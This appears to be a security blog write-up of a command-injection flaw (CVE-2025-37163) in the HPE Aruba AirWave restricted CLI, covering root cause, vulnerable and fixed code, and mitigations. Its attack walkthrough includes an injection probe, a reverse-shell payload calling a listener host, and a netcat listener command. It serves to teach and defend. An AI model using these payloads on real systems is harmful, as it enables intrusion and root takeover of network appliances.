Jailbreaking the Network Overseer: HPE Aruba AirWave Command Injection

HPE Aruba AirWave is the central nervous system for many enterprise wireless networks. It monitors access points, switches, and controllers, aggregating data and pushing configurations. Like many network appliances, it runs on a hardened Linux base. To manage it, administrators are given a "Restricted CLI"—a specialized shell environment that limits available commands to a safe subset like ping, show, or configure.

Restricted CLIs are the TSA luggage locks of the security world: they keep honest people out, but anyone with a specialized tool (or in this case, a semicolon) can bypass them in seconds. The goal of this vulnerability isn't just to run commands; it's to escape the jail. When you log in as an administrator, the system assumes you are trusted enough to configure the network, but not trusted enough to touch the underlying kernel or filesystem. CVE-2025-37163 breaks that contract.

This vulnerability is a classic case of "user input meets shell execution." It requires high privileges (PR:H), meaning you need to be an admin already. But in a post-breach scenario or an insider threat context, the difference between "Network Admin" and "Root User" is the difference between changing a VLAN and installing a persistent backdoor that survives firmware updates.

The root cause here is a tale as old as C programming: Command Injection via unsanitized input (CWE-77). When a developer builds a CLI tool, they often need to invoke standard Linux utilities to do the heavy lifting. For example, if you implement a network test command, you don't rewrite the ICMP protocol; you just wrap the system's ping binary.

The fatal mistake happens when the application constructs the command string by concatenating user input directly. Instead of passing arguments as a safe array, the code builds a string like "ping " + user_input and hands it to a function like system(), popen(), or a shell-invoking Python os.system() call.

The underlying shell doesn't know where the developer's command ends and the user's malice begins. It parses special characters—semicolons (;), pipes (|), ampersands (&), and backticks (`)—as instructions to execute new commands. If the AirWave CLI fails to scrub these characters from your input, the shell happily executes your injected payload immediately after the intended command.

While the exact source code for AirWave is proprietary, we can reconstruct the vulnerability pattern with high fidelity based on the behavior of similar appliances. The vulnerable logic typically looks like this pseudo-code running in the backend of the CLI handler:

# VULNERABLE PATTERN
def handle_ping_command(target_ip):
    # The developer assumes 'target_ip' is just an IP address.
    # They blindly pass it to the shell.
    command_string = "ping -c 4 " + target_ip
    
    # This executes: /bin/sh -c "ping -c 4 [INPUT]"
    os.system(command_string)

If the user provides 8.8.8.8, the system runs ping -c 4 8.8.8.8. Everything is fine.

However, if the user provides 8.8.8.8; id, the command string becomes: ping -c 4 8.8.8.8; id

The shell executes ping, waits for it to finish (or fail), and then executes id. The fix requires abandoning string concatenation in favor of parameterized execution, which bypasses the shell entirely:

# SECURE PATTERN
import subprocess
 
def handle_ping_command(target_ip):
    # Pass arguments as a list. The shell is NOT invoked.
    # 'target_ip' is treated strictly as an argument to ping, never as code.
    subprocess.run(["/bin/ping", "-c", "4", target_ip])

In the secure version, if you input 8.8.8.8; id, the ping command simply tries to resolve a host literally named "8.8.8.8; id" and fails harmlessly.

Let's walk through the attack chain. You are an attacker who has compromised a valid administrator credential (or you are a rogue insider). You SSH into the AirWave appliance.

1. Reconnaissance: You land in the restricted CLI. You type ? or help to see available commands. You are looking for anything that interacts with the network or filesystem: ping, traceroute, nslookup, scp, or backup.

2. The Probe: You select traceroute and try a basic injection test to verify if input sanitization is missing. # traceroute "127.0.0.1; echo VULN" If the output returns the traceroute followed by the word VULN, you have confirmed remote code execution.

3. The Payload: Now we escalate. The CLI user usually runs with limited permissions, but the underlying process might be running as root, or have sudo privileges for specific binaries. We inject a reverse shell to bypass the restricted environment completely.

   # Payload injected into the CLI
   127.0.0.1; bash -i >& /dev/tcp/10.0.0.5/4444 0>&1

4. The Catch: On your listening machine (nc -lvnp 4444), a connection opens. You are no longer in the restricted CLI. You are in a raw bash session on the underlying CentOS/RedHat OS. If the service was running as root (common in older appliances), you own the box. If not, you are now in a position to run local privilege escalation exploits (like DirtyPipe or PwnKit) that would have been impossible from the restricted CLI.

HPE Aruba has patched this in AirWave version 8.3.0.5. The remediation likely involves a thorough audit of all CLI commands that invoke system binaries. They would have replaced dangerous system() calls with safer APIs (like Python's subprocess or C's execv family) that strictly separate the command from its arguments.

For security teams, this highlights the importance of defense in depth. Network management interfaces should never be exposed to the general internet. Even with authentication, they are prime targets. If you cannot patch immediately:

1. Isolate: Ensure AirWave is on a strictly controlled management VLAN.
2. Monitor: Watch command logs for shell metacharacters (|, ;, $, `) appearing in arguments.
3. Limit Access: Restrict SSH/HTTPS access to jump hosts only.